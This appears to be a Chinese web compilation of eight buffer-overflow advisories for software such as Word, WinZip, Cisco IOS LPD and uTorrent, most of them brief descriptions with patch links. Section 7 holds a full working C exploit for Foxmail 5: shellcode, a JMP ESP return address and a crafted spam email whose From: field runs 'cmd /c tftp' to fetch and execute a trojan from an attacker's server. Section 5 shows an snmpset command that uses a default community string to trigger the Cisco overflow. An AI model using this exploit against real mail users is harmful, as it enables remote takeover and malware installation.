以下是小编整理的微软Word文档格式解析存在缓冲区溢出漏洞,本文共8篇,欢迎阅读分享,希望对您有所帮助。
篇1:微软Word文档格式解析存在缓冲区溢出漏洞
近日,江民反病毒研究中心监测到,Microsoft Word在解析doc文档时的一个缓冲区溢出漏洞被发现, 可以手工制造特殊的doc文档,造成Word程序崩溃。根据报告,制做更加巧妙的恶意doc文档还可能导致任意代码执行等更加严重的后果,
目前,验证该漏洞的一些doc文档样本只能令Word程序崩溃,还没有可以自动执行代码的样本出现。一旦这样的“可执行”doc文档被制作出来,该漏洞的危害等级将会非常严重。
江民公司正严密关注事态发展,并提醒广大用户,不要轻易打开来源不明的doc文档,并把IE浏览器的安全级别设置为“高”,防止IE浏览器自动打开网上doc文件。
篇2:Winzip存在多个缓冲区溢出漏洞
Winzip存在多个缓冲区溢出漏洞
受影响系统:
WinZip 3.x
WinZip 6.x
WinZip 7.x
WinZip 8.x
WinZip 9.x
漏洞描述:
Winzip存在多个潜在安全漏洞,可危及用户系统安全,
1) 一些未明漏洞可导致缓冲溢出,
利用这些漏洞可能导致执行任意代码。
2) 一个问题导致事由于未正确确认命令行参数,通过使用特殊构建的参数可导致缓冲溢出和可能执行任意代码漏洞。
补丁下载:
www.winzip/upgrade.htm
热门推荐:苹果专题、时尚专题
点击阅读更多学院相关文章>>
分享到
篇3:AlsaPlayer 存在处理远程缓冲区溢出漏洞
受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: --------------------------------------------------------------------
受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 25969 AlsaPlayer是一个为ALSA声音系统编写的PCM 播放器,也支持OSS、NAS 和ESD,AlsaPlayer 存在处理远程缓冲区溢出漏洞
, AlsaPlayer在处理畸形格式的OGG文件时存在漏洞,远程攻击者可能利用此漏洞控制用户系统。 AlsaPlayer中的vorbis输入插件没有正确地处理.OGG文件,如果用户受骗打开了带有超长标注的特制.OGG文件的话,就可能触发缓冲区溢出,导致执行任意指令。 <*来源:Erik Sjölund 链接:sourceforge/project/shownotes.php?release_id=544663&group_id=249 secunia/advisories/27117/ *>建议: -------------------------------------------------------------------------------- 厂商补丁: Alsaplayer ---------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: downloads.sourceforge/alsaplayer/alsaplayer-0.99.80-rc4.tar.gz篇4:mercur messaging imap服务存在缓冲区溢出的漏洞其他漏洞
受影响系统:atrium software mercur messaging 5.0 sp3描述:
mercur messaging 2005是windows nt4、和xp平台上的邮件服务器软件,支持pop3、imap4和smtp的所有当前rfc标准,
mercur messaging 2005在处理imap命令时存在边界条件错误,远程攻击者可以向login和select命令发送超长参数,触发栈溢出,导致拒绝服务,
关 键 字:其他漏洞
篇5:IOS LPD远程缓冲区溢出漏洞
Cisco IOS的LPD服务在处理超长的设备名时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制设备或导致设备拒绝服务,行式打印机服务(LPD) 用于在Cisco IOS中提供打印服务。如果IOS中配置了LPD守护程序的话,该服务会监听于默认的LPD端口TCP 515。如果任何非515的源TCP端口进行连接时,就会显示以下错误:
$ telnet 172.30.3.101 515
Trying 172.30.3.101...
Connected to 172.30.3.101 (172.30.3.101).
Escape character is '^]'.
hostname_of_the_router: /usr/lib/lpd: Malformed from address
如果主机名大于等于99个字符的话,就会由于调用sprintf函数而导致溢出,
尽管技术上是栈溢出,但由于IOS为进程栈分配堆内存,因此所覆盖的内存实际为堆。由于堆内存用作了栈,在出现溢出时主机名可以覆盖存储在字符缓冲区开始之前的返回地址,但由于某些原因在缓冲区到达堆块边界处的red zone之前不会出现崩溃,因此在出现崩溃和路由器重启后,内存dump显示的是堆破坏。
必须要控制主机名才能利用这个漏洞。如果设备上在运行SNMP且知道rw团体字符串(通常为默认值private),就可以如下设置主机名:
$ snmpset -Os -c private -v 1 10.0.0.1 system.sysName.0 s long_hostname
建议:
临时解决方法:
* 使用no printer命令禁用LPD服务。
* 配置访问列表限制对TCP 515端口的访问。
篇6:visual studio dbp和sln文件 存在缓冲区溢出漏洞Windows漏洞
受影响系统:microsoft visual studio 6.0
microsoft visual interdev 6.0描述:
microsoft visual studio是微软公司的开发工具套件系列产品,是一个基本完整的开发工具集,包括了软件整个生命周期中所需要的大部分工具,
visual studio的数据库项目文件(.dbp)和解决方案(.sln)文件格式中存在缓冲区溢出漏洞,攻击者可能利用此漏洞在机器上执行任意指令,
如果这些文件的“dataproject”字段中包含有超长的字符串的话,就会触发栈溢出,完全控制eip寄存器,导致执行任意指令。
关 键 字:Windows漏洞
篇7:Foxmail 5远程缓冲区溢出漏洞漏洞预警
注:本文是2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码,
测试环境:win2k sp4+foxmail 5.0.300
以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。
问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。
具体处理过程如下:
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; “”
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容
.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30,就是这个函数里面溢出了
.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去
这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。
有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。
/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team,
* All Rights Reserved
*
* This is unpublished proprietary source code of XFOCUS Security Team.
* It should not be distributed in any form. without express permission
* from XFOCUS Security Team.
*
* -----------------------------------------------------------------------
* Author : xfocus
* : www.xfocus
* Maintain : XFOCUS Security Team
* Version : 0.2
*
* Test : Windows server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : ey4s, and all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* -03-05 call WinExec addr of Foxmail.exe module to run tftp for down&execute
*/
#include
#include
#include
#pragma comment (lib,“ws2_32”)
//mail body, it's based on a real spam email, heh
unsigned char packet[] =
“From: %s\r\n” //buffer to overrun
“Subject: Hi,man\r\n”
“MIME-Version: 1.0\r\n”
“Content-Type: multipart/mixed; boundary=\”87122827\“\r\n”
“\r\n”
“\r\n”
“--87122827\r\n”
“Content-Type: text/plain; charset=us-ascii\r\n”
“Content-Transfer-Encoding: 7bit\r\n”
“\r\n”
“T\r\n”
“\r\n”
“--87122827\r\n”
“Content-Disposition: attachment\r\n”
“Content-Type: Text/HTML;\r\n”
“ name=\”girl.htm\“\r\n”
“Content-Transfer-Encoding: 7bit\r\n”
“\r\n”
“\r\n”
“--87122827--\r\n”
“\r\n”
“.\r\n”;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
“\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff”;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
“\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff”;
#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;
if(argc!=4)
{
printf(“Usage: %s
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf(“WSAStartup failed.\n”);
WSACleanup();
exit(1);
}
//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
WSACleanup();
return 0;
}
// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf(“connect err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
ret=send(csock, “HELO server\r\n”,strlen(“HELO server\r\n”), 0);
if(ret<=0)
{
printf(“send err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
ret=send(csock, “MAIL FROM: info@sina\r\n”,strlen(“MAIL FROM: info@sina\r\n”), 0);
if(ret<=0)
{
printf(“send err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
sprintf(tmp, “RCPT TO: %s\r\n”, mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf(“send err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
Sleep(1000);
ret=send(csock, “DATA\r\n”,strlen(“DATA\r\n”), 0);
if(ret<=0)
{
printf(“send err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
printf(“send exploit mail...\n”);
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, “cmd /c tftp -i %s get a.exe&a.exe:”);
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, “girl\x0d”, 5);
sprintf(sbuf, (char *)packet, buf);
ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf(“send err.\n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.\n”);
exit(1);
}
printf(buf);
printf(“exploit mail sent.\n”);
closesocket(csock);
return 0;
}
安全焦点
篇8:BitTorrent和uTorrent Peers 窗口缓冲区溢出漏洞
这是应用较广的客户端问题
受影响系统:
BitTorrent BitTorrent <= 6.0 (build 5535)
BitTorrent uTorrent <= 1.8-alpha-7834
BitTorrent uTorrent <= 1.7.5 (build 4602)
不受影响系统:
BitTorrent uTorrent 1.7.6 (build 7859)
描述:
BitTorrent和uTorrent都是流行的bittorrent协议客户端,使用了相同的代码库,
BitTorrent和uTorrent的实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户客户端,
BitTorrent和uTorrent客户端都在General部分中启用了Detailed Info窗口,用于报告有关所使用的torrent和tracker的状态信息。在General同一窗口中的Peers部分显示有关所连接客户端的信息,如共享torrent使用率、IP地址等。当用户查看这个窗口的时候,会通过wcscpy函数将所连接客户端软件版本的unicode字符串拷贝到相对静态的缓冲区,以便在GUI中显示。如果该字符串超长的话,就可能触发缓冲区溢出,导致拒绝服务或执行任意指令如果要利用这个漏洞,外部攻击者必须要连接到客户端所打开的随机端口,然后发送当前所使用torrent的超长客户端版本和SHA1哈希。
厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
download.utorrent/1.7.6/utorrent.exe
更多推荐
微软Word文档格式解析存在缓冲区溢出漏洞
发布评论